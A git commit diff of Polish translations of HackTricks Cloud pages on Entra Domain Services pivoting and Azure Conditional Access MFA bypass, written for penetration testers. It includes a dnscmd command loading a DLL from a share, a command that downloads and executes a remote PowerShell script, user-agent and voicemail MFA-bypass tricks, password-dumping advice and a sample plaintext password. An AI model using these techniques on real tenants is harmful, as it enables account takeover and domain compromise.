Translated ['.github/pull_request_template.md', 'src/banners/hacktricks-

This commit is contained in:
Translator
2026-02-12 13:56:15 +00:00
parent 4bf233308c
commit f794782579
5 changed files with 154 additions and 83 deletions

View File

@@ -1,9 +1,12 @@
## Attribution
Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Proszę upewnić się, że przesyłasz tylko treści, które posiadasz lub na które masz pozwolenie od oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, lub w obu miejscach). Twój szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku dzielenia się dla wszystkich.
Możesz usunąć tę treść przed wysłaniem PR:
## Uznanie autorstwa
Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Upewnij się, że przesyłasz tylko materiały, których jesteś właścicielem lub które możesz udostępnić za zgodą oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, albo w obu miejscach). Szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku współdzielenia dla wszystkich.
## HackTricks Training
Jeśli dodajesz, aby zdać egzamin w [ARTE certification](https://training.hacktricks.xyz/courses/arte) z 2 flagami zamiast 3, musisz nazwać PR `arte-<username>`.
Jeśli wysyłasz PR po to, aby zdać egzamin na [ARTE certification](https://hacktricks-training.com/courses/arte) z 2 flagami zamiast 3, musisz nazwać PR `arte-<username>`, `grte-<username>` lub `azrte-<username>`, w zależności od certyfikacji, którą zdajesz.
Pamiętaj także, że poprawki dotyczące gramatyki/składni nie zostaną zaakceptowane jako redukcja liczby flag na egzaminie.
Pamiętaj również, że poprawki gramatyczne/składniowe nie będą akceptowane w celu zmniejszenia liczby flag egzaminacyjnych.
W każdym razie, dziękujemy za wkład w HackTricks!

View File

@@ -1,14 +1,14 @@
> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
> <summary>Wspieraj HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

View File

@@ -1,45 +1,45 @@
# Az - Microsoft Entra Domain Services
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Usługi domenowe
## Domain Services
Microsoft Entra Domain Services pozwala na wdrożenie Active Directory w Azure bez potrzeby zarządzania kontrolerami domeny (w rzeczywistości nie masz nawet do nich dostępu).
Microsoft Entra Domain Services pozwala wdroż Active Directory w Azure bez konieczności zarządzania Domain Controllers (w rzeczywistości nie masz do nich nawet dostępu).
Jego głównym celem jest umożliwienie uruchamiania aplikacji dziedzicznych w chmurze, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub w sytuacjach, gdy nie chcesz, aby zapytania do katalogu zawsze wracały do lokalnego środowiska AD DS.
Głównym celem jest umożliwienie uruchamiania w chmurze starszych aplikacji, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub tam, gdzie nie chcesz, aby zapytania katalogowe zawsze odsyłały do on-premises AD DS.
Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie zsynchronizowanych z innymi aktywnymi katalogami) z usługą domeny AD, musisz **zmienić hasło użytkownika** na nowe, aby mogło być zsynchronizowane z nowym AD. W rzeczywistości użytkownik nie jest synchronizowany z Microsoft Entra ID do Usług Domenowych, dopóki hasło nie zostanie zmienione.
Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie synchronizowanych z innych Active Directory) z usługą domenową AD, musisz **zmienić hasło użytkownika** na nowe, aby mogło zostać zsynchronizowane z nowym AD. W rzeczywistości użytkownik nie jest synchronizowany z Microsoft Entra ID do Domain Services dopóki hasło nie zostanie zmienione.
> [!WARNING]
> Nawet jeśli tworzysz nową domenę aktywnego katalogu, nie będziesz w stanie zarządzać nią w pełni (chyba że wykorzystasz jakieś błędy konfiguracyjne), co oznacza, że domyślnie na przykład nie możesz tworzyć użytkowników w AD bezpośrednio. Tworzysz ich poprzez **synchronizację użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innymi lokalnymi AD), tylko użytkowników chmurowych (użytkowników utworzonych w Entra ID) lub nawet **jeszcze bardziej je filtrować**.
> Nawet jeśli tworzysz nową domenę Active Directory, nie będziesz w stanie nią w pełni zarządzać (chyba że wykorzystasz pewne błędne konfiguracje), co oznacza, że domyślnie np. nie możesz bezpośrednio tworzyć użytkowników w AD. Tworzysz je przez **synchronizowanie użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innych lokalnych AD), tylko użytkowników chmurowych (utworzonych w Entra ID), lub nawet **bardziej je filtrować**.
> [!NOTE]
> Ogólnie rzecz biorąc, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zazwyczaj już istnieją lokalnie, nie jest to główna integracja między Entra ID a AD, ale wciąż interesujące jest wiedzieć, jak to skompromitować.
> Generalnie, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zazwyczaj już istnieje on-premise, nie jest to główna integracja między Entra ID a AD, ale nadal warto wiedzieć, jak skompromitować.
### Pivoting
Członkowie wygenerowanej grupy **`AAD DC Administrators`** mają przyznane lokalne uprawnienia administratora na maszynach wirtualnych, które są dołączone do zarządzanej domeny (ale nie w kontrolerach domeny), ponieważ są dodawani do lokalnej grupy administratorów. Członkowie tej grupy mogą również korzyst z **Zdalnego Pulpitu, aby łączyć się zdalnie z maszynami wirtualnymi dołączonymi do domeny**, a także są członkami grup:
Członkowie wygenerowanej grupy **`AAD DC Administrators`** otrzymują lokalne uprawnienia administratora na VM-ach dołączonych do zarządzanej domeny (ale nie na domain controllers), ponieważ są dodawani do lokalnej grupy administratorskiej. Członkowie tej grupy mogą także używ**Remote Desktop to connect remotely to domain-joined VMs**, i są jednocześnie członkami następujących grup:
- **`Denied RODC Password Replication Group`**: To grupa, która określa użytkowników i grupy, których hasła nie mogą być buforowane na RODC (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom na tworzenie zasad grup w domenie. Jednak jej członkowie nie mogą stosować zasad grup do użytkowników ani grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku.
- **`DnsAdmins`**: Ta grupa pozwala na zarządzanie ustawieniami DNS i była wykorzystywana w przeszłości do [eskalacji uprawnień i kompromitacji domeny](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku sprawdzono, że luka jest załatana:
- **`Denied RODC Password Replication Group`**: Jest to grupa określająca użytkowników i grupy, których hasła nie mogą być buforowane na RODC (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować group policies do użytkowników lub grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku.
- **`DnsAdmins`**: Ta grupa pozwala zarządzać ustawieniami DNS i była wykorzystywana w przeszłości do [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku stwierdzono, że podatność została załatana:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Zauważ, że aby przyznać te uprawnienia, w AD grupa **`AAD DC Administrators`** jest członkiem wcześniejszych grup, a także GPO **`AADDC Computers GPO`** dodaje jako lokalnych administratorów wszystkich członków grupy domenowej **`AAD DC Administrators`**.
Zauważ, że aby przyznać te uprawnienia, w AD grupa **`AAD DC Administrators`** jest członkiem wcześniej wymienionych grup, a także GPO **`AADDC Computers GPO`** dodaje wszystkich członków grupy domenowej **`AAD DC Administrators`** do Local Administrators.
Przechodzenie z Entra ID do AD utworzonego za pomocą Domain Services jest proste, wystarczy dodać użytkownika do grupy **`AAD DC Administrators`**, uzyskać dostęp przez RDP do dowolnych/wszystkich maszyn w domenie i będziesz mógł ukraść dane oraz **skompromitować domenę.**
Pivoting from Entra ID to an AD created with Domain Services is straightforward — wystarczy dodać użytkownika do grupy **`AAD DC Administrators`**, połączyć się przez RDP z dowolną/wszystkimi maszynami w domenie i będziesz mógł wykradać dane oraz **compromise the domain.**
Jednak przechodzenie z domeny do Entra ID nie jest tak łatwe, ponieważ nic z domeny nie jest synchronizowane z Entra ID. Zawsze sprawdzaj metadane wszystkich VM, ponieważ ich przypisane zarządzane tożsamości mogą mieć interesujące uprawnienia. Również **zrzucaj wszystkie hasła użytkowników z domeny** i próbuj je złamać, aby następnie zalogować się do Entra ID / Azure.
Jednak pivoting z domeny do Entra ID nie jest tak prosty, ponieważ nic z domeny nie jest synchronizowane z Entra ID. Zawsze jednak sprawdzaj metadane wszystkich dołączonych VMs, ponieważ przypisane im managed identities mogą mieć interesujące uprawnienia. Również **dump all the users passwords from the domain** i spróbuj je złamać, aby potem zalogować się do Entra ID / Azure.
> [!NOTE]
> Zauważ, że w przeszłości znaleziono inne luki w tym zarządzanym AD, które pozwalały na kompromitację DC, [jak ta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Atakujący, który skompromitował DC, mógł bardzo łatwo utrzymać trwałość, nie zauważając tego przez administratorów Azure ani nawet nie będąc w stanie tego usunąć.
> Zauważ, że w przeszłości znaleziono inne podatności w tym managed AD, które pozwalały na compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Atakujący kompromitujący DC mógłby bardzo łatwo maintain persistence bez tego, żeby Azure admins to zauważyli lub mogli to usunąć.
### Enumeracja
### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
@@ -59,7 +59,7 @@ az rest --method post \
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
@@ -83,4 +83,4 @@ fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,16 +1,16 @@
# Az - Polityki dostępu warunkowego i obejście MFA
# Az - Conditional Access Policies & MFA Bypass
{{#include ../../../../banners/hacktricks-training.md}}
## Podstawowe informacje
Polityki dostępu warunkowego w Azure to zasady ustalone w Microsoft Azure, aby egzekwować kontrole dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Polityki te pomagają organizacjom zabezpieczyć swoje zasoby, stosując odpowiednie kontrole dostępu w odpowiednich okolicznościach.\
Polityki dostępu warunkowego zasadniczo **określają** **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**.
Azure Conditional Access policies to reguły skonfigurowane w Microsoft Azure, które wymuszają kontrolę dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Te polityki pomagają organizacjom zabezpieczyć zasoby, stosując odpowiednie mechanizmy kontroli dostępu w odpowiednich okolicznościach.\
Conditional Access policies w zasadzie **określają**, **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**.
Oto kilka przykładów:
1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymaganie uwierzytelnienia wieloskładnikowego (MFA) w przypadku wykrycia ryzyka logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkowe uwierzytelnienie.
2. **Polityka zgodności urządzeń**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń, które są zgodne z normami bezpieczeństwa organizacji. Na przykład, dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego.
1. **Sign-In Risk Policy**: Ta polityka może wymagać multi-factor authentication (MFA), gdy wykryte zostanie ryzyko logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu z jego zwykłym wzorcem, np. logowanie z innego kraju, system może zażądać dodatkowego uwierzytelnienia.
2. **Device Compliance Policy**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń zgodnych ze standardami bezpieczeństwa organizacji. Na przykład dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego.
## Enumeracja
```bash
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## Bypasses polityki dostępu warunkowego
## Omijanie Conditional Access Policies
Możliwe, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka konfigurowała MFA, atakujący będzie mógł ją obejść.
Możliwe, że conditional access policy **sprawdza informacje, które można łatwo sfałszować, pozwalając na obejście polityki**. Jeśli na przykład polityka wymuszała MFA, atakujący będzie mógł ją ominąć.
Podczas konfigurowania polityki dostępu warunkowego należy wskazać **użytkowników** objętych polityką oraz **docelowe zasoby** (takie jak wszystkie aplikacje w chmurze).
Przy konfigurowaniu conditional access policy trzeba określić **użytkowników** objętych oraz **docelowe zasoby** (np. all cloud apps).
Należy również skonfigurować **warunki**, które **wyzwolą** politykę:
Trzeba też skonfigurować **warunki**, które **wywołają** politykę:
- **Sieć**: IP, zakresy IP i lokalizacje geograficzne
- Można to obejść, używając VPN lub Proxy do połączenia z kraju lub udając się do logowania z dozwolonego adresu IP
- **Ryzyka Microsoftu**: Ryzyko użytkownika, ryzyko logowania, ryzyko wewnętrzne
- **Platformy urządzeń**: Dowolne urządzenie lub wybierz Android, iOS, Windows Phone, Windows, macOS, Linux
- Jeśli nie wybrano „Dowolnego urządzenia”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami
- **Aplikacje klienckie**: Opcje to „Przeglądarka”, „Aplikacje mobilne i klienci desktopowi”, „Klienci Exchange ActiveSync” i „Inne klienci
- Aby obejść logowanie z nie wybraną opcją
- **Filtr dla urządzeń**: Możliwe jest wygenerowanie reguły związanej z używanym urządzeniem
- **Przepływy uwierzytelniania**: Opcje to „Przepływ kodu urządzenia” i „Transfer uwierzytelniania
- To nie wpłynie na atakującego, chyba że próbuje nadużyć któregokolwiek z tych protokołów w próbie phishingu, aby uzyskać dostęp do konta ofiary
- **Network**: Ip, IP ranges and geographical locations
- Można to obejść używając VPN lub Proxy, aby połączyć się z dozwolonym krajem albo logując się z dozwolonego adresu IP
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
- Jeśli „Any device” nie jest zaznaczone, ale wszystkie pozostałe opcje są wybrane, można to obejść używając losowego user-agent niepowiązanego z tymi platformami
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients
- Aby obejść — zaloguj się używając opcji, która nie jest wybrana
- **Filter for devices**: Możliwe jest wygenerowanie reguły związaną z używanym urządzeniem
- **Authentication flows**: Options are “Device code flow” and “Authentication transfer
- To nie wpłynie na atakującego, chyba że będzie próbował nadużyć któregoś z tych protokołów w ataku phishingowym, aby uzyskać dostęp do konta ofiary
Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymóg MFA, zgodność urządzenia...
Możliwe **wyniki** to: Block lub Grant access z dodatkowymi warunkami jak require MFA, urządzenie musi być compliant…
### Platformy urządzeń - Warunek urządzenia
### Platformy urządzeń - warunek urządzenia
Możliwe jest ustawienie warunku na podstawie **platformy urządzenia** (Android, iOS, Windows, macOS...), jednak opiera się to na **user-agencie**, więc łatwo to obejść. Nawet **wymuszając wszystkie opcje MFA**, jeśli użyjesz **user-agenta, który nie jest rozpoznawany**, będziesz mógł obejść MFA lub blokadę:
Można ustawić warunek oparty na **platformie urządzenia** (Android, iOS, Windows, macOS...), jednak opiera się to na **user-agent**, więc łatwo to obejść. Nawet jeśli **wszystkie opcje będą wymuszać MFA**, jeśli użyjesz **user-agent, który nie jest rozpoznawany,** będziesz w stanie obejść MFA lub block:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Wystarczy, że przeglądarka **wyśle nieznany user-agent** (jak `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby nie wywołać tego warunku.\
Możesz zmienić user-agenta **ręcznie** w narzędziach deweloperskich:
Wystarczy, że przeglądarka **wyśle nieznany user-agent** (np. `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby ten warunek nie został wyzwolony.\
Możesz zmienić user agent **ręcznie** w narzędziach deweloperskich:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
Lub użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Albo użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Lokalizacje: Kraje, zakresy IP - Warunek urządzenia
### Locations: Countries, IP ranges - Device Condition
Jeśli to jest ustawione w polityce warunkowej, atakujący może po prostu użyć **VPN** w **dozwolonym kraju** lub spróbować znaleźć sposób na dostęp z **dozwolonego adresu IP**, aby obejść te warunki.
Jeśli to jest ustawione w conditional policy, atakujący może po prostu użyć **VPN** w **dozwolonym kraju** albo znaleźć sposób, by uzyskać dostęp z **dozwolonego adresu IP**, aby obejść te warunki.
### Aplikacje w chmurze
### Cloud Apps
Możliwe jest skonfigurowanie **polityk dostępu warunkowego, aby zablokować lub wymusić** na przykład MFA, gdy użytkownik próbuje uzyskać dostęp do **konkretnej aplikacji**:
Można skonfigurować **conditional access policies, aby blokować lub wymuszać** np. MFA, gdy użytkownik próbuje uzyskać dostęp do **konkretnej aplikacji**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz **zalogować się do dowolnej aplikacji**.\
Narzędzie [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ma **dziesiątki identyfikatorów aplikacji wbudowanych** i spróbuje się do nich zalogować, informując c o tym i nawet dając token, jeśli się powiedzie.
Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz zalogować się do dowolnej aplikacji.\
Narzędzie [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ma **dziesiątki hardcoded application IDs** i będzie próbować logować się do nich, informując Cię i nawet zwracając token, jeśli się powiedzie.
Aby **przetestować konkretne identyfikatory aplikacji w konkretnych zasobach**, możesz również użyć narzędzia takiego jak:
Aby przetestować konkretne application IDs w konkretnych zasobach, możesz też użyć narzędzia takiego jak:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
Ponadto możliwe jest również zabezpieczenie metody logowania (np. jeśli próbujesz zalogować się z przeglądarki lub z aplikacji desktopowej). Narzędzie [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) wykonuje pewne kontrole, aby spróbować obejść te zabezpieczenia.
Co więcej, możliwe jest także zabezpieczenie metody logowania (np. gdy próbujesz logować się z przeglądarki lub z aplikacji desktopowej). Narzędzie [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) wykonuje kilka kontroli, aby spróbować obejść także te zabezpieczenia.
Narzędzie [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) może być również używane do podobnych celów, chociaż wydaje się być nieaktualizowane.
Narzędzie [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) może być również użyte do podobnych celów, choć wygląda na nieutrzymywane.
Narzędzie [**ROPCI**](https://github.com/wunderwuzzi23/ropci) może być również używane do testowania tych zabezpieczeń i sprawdzenia, czy możliwe jest obejście MFA lub blokad, ale to narzędzie działa z perspektywy **whitebox**. Najpierw musisz pobrać listę aplikacji dozwolonych w dzierżawie, a następnie spróbuje się do nich zalogować.
Narzędzie [**ROPCI**](https://github.com/wunderwuzzi23/ropci) może być także użyte do testowania tych zabezpieczeń i sprawdzenia, czy da się obejść MFA lub blokady, jednak narzędzie to działa z perspektywy **whitebox**. Najpierw musisz pobrać listę Apps dozwolonych w tenantcie, a następnie spróbuje się do nich zalogować.
## Inne obejścia Az MFA
## Inne obejścia MFA w Az
### Dzwonek
### Ring tone
Jedną z opcji Azure MFA jest **odebranie połączenia na skonfigurowany numer telefonu**, gdzie użytkownik zostanie poproszony o **wysłanie znaku `#`**.
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
> [!CAUTION]
> Ponieważ znaki to tylko **tony**, atakujący mógłby **skomprymować** wiadomość **poczty głosowej** na numerze telefonu, skonfigurować jako wiadomość **ton `#`** i następnie, gdy żąda MFA, upewnić się, że **telefon ofiary jest zajęty** (dzwoniąc do niego), aby połączenie Azure zostało przekierowane do poczty głosowej.
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
### Zgodne urządzenia
### Compliant Devices
Polityki często wymagają zgodnego urządzenia lub MFA, więc **atakujący mógłby zarejestrować zgodne urządzenie**, uzyskać token **PRT** i **w ten sposób obejść MFA**.
Polityki często wymagają compliant device lub MFA, więc **atakujący mógłby zarejestrować compliant device**, zdobyć **PRT** i w ten sposób **obejść MFA**.
Zacznij od zarejestrowania **zgodnego urządzenia w Intune**, a następnie **uzyskaj PRT** za pomocą:
Zacznij od zarejestrowania **compliant device w Intune**, a następnie **zdobądź PRT** za pomocą:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -114,27 +114,27 @@ Znajdź więcej informacji na temat tego rodzaju ataku na następującej stronie
Ten skrypt pobiera dane uwierzytelniające użytkownika i sprawdza, czy można zalogować się do niektórych aplikacji.
Jest to przydatne, aby zobaczyć, czy **nie jest wymagane MFA do logowania się do niektórych aplikacji**, które możesz później wykorzystać do **eskalacji uprawnień**.
To przydatne do sprawdzenia, czy **aren't required MFA to login in some applications**, które możesz później wykorzystać do **escalate pvivileges**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Pobierz wszystkie polityki
Pobiera wszystkie polityki
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoftu, używając podanego zestawu poświadczeń, i spróbuje zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są zasady dostępu warunkowego i inne ustawienia uwierzytelniania wieloskładnikowego, niektóre protokoły mogą pozostać jako jednoskładnikowe. Posiada również dodatkowe sprawdzenie konfiguracji ADFS i może próbować zalogować się do lokalnego serwera ADFS, jeśli zostanie wykryty.
MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoft przy użyciu podanego zestawu poświadczeń i zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są conditional access policies i inne ustawienia multi-factor authentication, niektóre protokoły mogą pozostać jednoczynnikowe. Zawiera także dodatkowe sprawdzenie konfiguracji ADFS i może spróbować zalogować się do on-prem ADFS server, jeśli zostanie wykryty.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać API w wielu produkcyjnych dzierżawach AAD, gdzie klienci AAD wierzyli, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC zakończyło się sukcesem.
To narzędzie pomogło zidentyfikować obejścia MFA i następnie nadużyć API w wielu produkcyjnych tenantach AAD, gdzie klienci AAD sądzili, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC powiodło się.
> [!TIP]
> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do ataku brute-force.
> Musisz mieć uprawnienia do wylistowania wszystkich aplikacji, aby móc wygenerować listę aplikacji do brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -143,29 +143,29 @@ To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token to zestaw funkcji, które mają na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Polityki Dostępu Warunkowego, testy dla portali Microsoft z włączonym 2FA itp.
Donkey token to zestaw funkcji mających na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Conditional Access Policies, testować portale Microsoft z włączonym 2FA itp..
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Testuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**:
**Przetestuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**:
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
